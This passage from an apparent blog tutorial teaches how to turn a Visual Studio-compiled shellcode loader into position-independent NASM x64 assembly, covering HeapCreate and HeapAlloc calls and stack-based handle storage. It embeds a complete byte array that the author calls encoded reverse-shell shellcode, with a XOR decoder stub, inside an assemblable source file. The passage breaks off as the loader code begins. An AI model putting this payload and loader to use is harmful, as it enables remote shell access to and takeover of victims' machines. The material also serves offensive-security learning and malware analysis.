<p><img width="428" height="196" alt="image" src="https://github.com/user-attachments/assets/4e753d15-f175-4f3d-af67-2d6db4049f70" /></p>

<p>Notice how in the Visual Studio disassembly view, we’re moving 0x40000 into ECX as the 1st parameter.  ECX is the x32/x86 REGISTER used exclusively for 32 bit values or 4 bytes (a DWORD).  That’s why Visual studio chose ECX instead of RCX.</p>

<p>For the 2nd parameter passed into the API, Visual Studio chose edx (instead of RDX) and sets it to 0 using XOR.  Same thing for the 3rd parameter, using r8d (instead of R8), where the <code class="language-plaintext highlighter-rouge">d</code> stands for DWORD.  Both of these parameters are SIZE_T type values, and Visual Studio chose these for efficiency purposes I’m guessing.</p>

<p>Finally we call the API: call qword ptr [__imp_HeapCreate (07FF6281220F0h)]</p>

<p>here’s what it looks like all together in nasm x64 syntax:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">xor</span>  <span class="nb">r8d</span><span class="p">,</span><span class="nb">r8d</span>  
<span class="nf">xor</span>  <span class="nb">edx</span><span class="p">,</span><span class="nb">edx</span>  
<span class="nf">mov</span>  <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x40000</span>  
<span class="nf">call</span> <span class="nv">HeapCreate</span>
</code></pre></div></div>

<p>Next, you’ll see in the disassembly window the following instruction: <code class="language-plaintext highlighter-rouge">mov qword ptr [hHeap],rax</code></p>

<p>We need to reproduce that in our own assembly code, but adjust it to make it conform to PIC requirements.  We don’t have any variables like we do in visual basic (can’t store our heapcreate handle in <code class="language-plaintext highlighter-rouge">hHeap</code>).  So, I’ll show you how to store our heapcreate HANDLE variable the PIC way 😸  I’m going to subtract our current stack pointer by 72 to be far enough away from our current stack pointer to safely store our return value from when we called <code class="language-plaintext highlighter-rouge">HeapCreate</code>.  This is to prevent this value from being easily overwritten by other API calls, etc.  Once we subtract 72 from our current stack pointer, I store the return value in this location via <code class="language-plaintext highlighter-rouge">mov [rsp], rax</code>.  Finally, I move back to our original stack pointer location using add rsp, 72.  That’s the equivalent method I learned for storing variables in a PIC friendly manner and it’s worked well for me over the years.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
</code></pre></div></div>

<p>With HeapCreate behind us, let’s keep going.  Now, we’re going to look at HeapAlloc.  Hit <code class="language-plaintext highlighter-rouge">F10</code> a few more times to reach the API and then look at your disassembly window.  Here’s mine:</p>

<p><img width="746" height="155" alt="image" src="https://github.com/user-attachments/assets/3c0e11d4-5294-4510-bcc9-621a6b39ad31" /></p>

<p>and here’s the documentation for this API:</p>

<p><img width="901" height="208" alt="image" src="https://github.com/user-attachments/assets/bcb8ef28-6a0a-4180-8e41-4aa0cf51f34f" /></p>

<p>You’ll notice we have some interesting values being stored in the R8 register and RCX register.  The R8 register is receiving the size of our shellcode in hex, while the RCX register is receiving the handle for when we called HeapCreate.  Remember when we subtracted 72 from our stack pointer and moved the RAX value into that location on the stack?  that’s the HeapCreate handle value!  Now, we’re adding that into RCX.</p>

<p>Here’s what that looks like in nasm x64 assembly.  Also, it’s worth mentioning that Visual Studio uses the MASM assembler syntax, whereas I show code in NASM.  In nasm, you don’t need the PTR keyword so you’ll see me omit that often when I reproduce the assembly code on the blog.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span>  <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>  <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span>  <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
</code></pre></div></div>

<p>Now, you’re probably asking yourself,”Where did he get the <code class="language-plaintext highlighter-rouge">encoded_shellcode_total</code> ?  I’ll show you!  That’s actually calculated at the very top of my assembly code.  Check it out:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib mem_heap_pic.obj -o mem_heap_pic.exe -lkernel32</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
</code></pre></div></div>

<p>I basically introduce my own custom .SECTION entry called .shellstuff because I can 😸  I then place our reverse shell shellcode in it and make it read only, just like the C++ code.</p>

<p>I calculate the total shellcode using: <code class="language-plaintext highlighter-rouge">encoded_shellcode_total equ $ - encoded_shellcode</code>  This is PIC frienly btw!</p>

<p>Let’s revisit that API call for HeapAlloc.  Now that you know how to calculate the total amount of bytes for our shellcode, you can better understand the visual studio disassebly.  Here’s our version of what we could see within Visual Studio for our original C++ code.  If we manually calculated the total size, it would be 0x1FA, which is the value shown in the Visual Studio Disassembler.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span>  <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>  <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span>  <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
</code></pre></div></div>

<p>So, we call Heap Alloc and now our Heap has stored enough bytes to hold our shellcode.  Next up, a custom assembly loop will be introduced that copies our shellcode into the heap memory location we allocated. 😺</p>

<p>Before we do that, let me show you our PIC friendly assembly code so far, both the code and how it looks in x64dbg.  Bear in mind we will eventually remove the <code class="language-plaintext highlighter-rouge">externs</code>.  I’m just using that to simplify teaching you the basics of how we lay the foundation for PIC assembly code.  We’ll get more into how to do this without relying on externs in Part 2.  Externs are a way to call the windows API of our choosing without walking the PEB and manually locating the api.  In case you were wondering.  Ok, here’s our code so far:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">; ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lws2_32 -lkernel32</span>

